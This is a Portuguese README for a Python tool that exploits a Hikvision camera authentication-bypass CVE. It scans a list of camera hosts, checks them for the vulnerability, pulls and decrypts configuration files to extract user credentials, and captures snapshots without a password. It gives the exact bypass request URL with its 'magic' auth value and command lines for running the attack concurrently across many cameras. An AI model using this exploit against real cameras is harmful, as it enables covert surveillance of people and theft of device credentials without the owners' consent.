
Bypass de Autenticação HikVision CVE, ferramenta capaz de extrair credenciais e tirar snapshots com base em magic cookie ou credenciais fornecidas.
Ferramenta autônoma para listar câmeras Hikvision a partir de um arquivo e capturar um snapshot de cada uma usando credenciais válidas (autenticação HTTP Basic ou Digest) ou o bypass de autenticação por CVE. Projetada para ser executada em outro host para testes.
host ou host:porta por linha).--save-snapshot opcional para dispositivos vulneráveis.--exploit para usar o bypass da CVE sem credenciais).--merge opcional para montar uma imagem de visão geral. Dependências: requests, Pillow (para --merge).requestspip install -r requirements.txt
Crie um arquivo de texto com uma câmera por linha. Comentários com # são ignorados.
# Exemplo cameras.txt
192.168.1.100
192.168.1.101:80
nvr.local:8080
Exibe as câmeras lidas do arquivo (nenhuma credencial necessária).
python hikvision_snapshots.py cameras.txt list
Verificação de alcance opcional (HTTP GET para cada host):
python hikvision_snapshots.py cameras.txt list -v
Testa cada câmera para a CVE de bypass de autenticação de snapshot da Hikvision. Nenhuma credencial é necessária.
python hikvision_snapshots.py cameras.txt check
Salva snapshots apenas para câmeras vulneráveis:
python hikvision_snapshots.py cameras.txt check --save-snapshot -o ./vuln_snapshots
Opções: --timeout, --workers, -o (para --save-snapshot).
Extrai credenciais de cada câmera via CVE (autenticação mágica para obter a lista de usuários e o arquivo de configuração e, em seguida, descriptografar a configuração). Requer OpenSSL no host. Nenhuma credencial é necessária para executar.
python hikvision_snapshots.py cameras.txt credentials
Opções: --timeout, --workers.
Confirma se suas credenciais funcionam em cada câmera (usa os mesmos endpoints de snapshot; não salva imagens).
python hikvision_snapshots.py cameras.txt auth-check -u admin -p YourPassword
Opções: --timeout, --workers, --digest (igual ao snapshot).
Captura um snapshot por câmera e salva como JPEG. Use credenciais válidas ou --exploit (bypass de autenticação por CVE, sem credenciais).
# Com credenciais
python hikvision_snapshots.py cameras.txt snapshot -u admin -p YourPassword
# Com exploit CVE (sem credenciais)
python hikvision_snapshots.py cameras.txt snapshot --exploit
snapshots/ por padrão (use -o para alterar).host ou host_port (ex.: 192_168_1_100.jpg, nvr_local_8080.jpg).Opções:
Com --merge, após salvar cada snapshot a ferramenta cria uma única imagem em grade (overview.jpg) no diretório de saída, com uma célula por câmera e um rótulo. Requer Pillow (pip install Pillow).
Exemplo com saída personalizada e autenticação Digest:
python hikvision_snapshots.py cameras.txt snapshot -u admin -p secret -o ./images --digest --timeout 20
Exemplo com visão geral mesclada:
python hikvision_snapshots.py cameras.txt snapshot -u admin -p YourPassword --merge
# ou com exploit (sem credenciais):
python hikvision_snapshots.py cameras.txt snapshot --exploit --merge -o ./out
Snapshot autenticado (com credenciais): o script tenta, em ordem – /ISAPI/Streaming/channels/1/picture, /ISAPI/Streaming/channels/101/picture, /onvif-http/snapshot.
CVE (check / --exploit): /onvif-http/snapshot?auth=YWRtaW46MTEK (bypass mágico de autenticação, sem credenciais).
hikvision_snapshots.py, requirements.txt e seu arquivo de lista de câmeras para o host.pip install -r requirements.txtlist para verificar o arquivo; use check para a CVE, auth-check para credenciais ou snapshot (com -u/-p ou --exploit).Garanta que o host tenha acesso de rede a todos os IPs e portas das câmeras.
| Opção | Descrição | Padrão |
|---|
-u, --username | Nome de usuário da câmera | obrigatório, exceto com --exploit |
-p, --password | Senha da câmera | obrigatório, exceto com --exploit |
--exploit | Usa o bypass mágico de autenticação da CVE (sem credenciais) | desativado |
-o, --output-dir | Diretório para as imagens de snapshot | snapshots |
--timeout | Tempo limite HTTP em segundos | 15 |
--workers | Número de requisições de snapshot concorrentes | 10 |
--digest | Usa autenticação HTTP Digest em vez de Basic | desativado |
--merge | Mescla todos os snapshots em uma única imagem de visão geral | desativado |
--merge-columns | Colunas da grade para mesclagem (padrão: automático) | automático |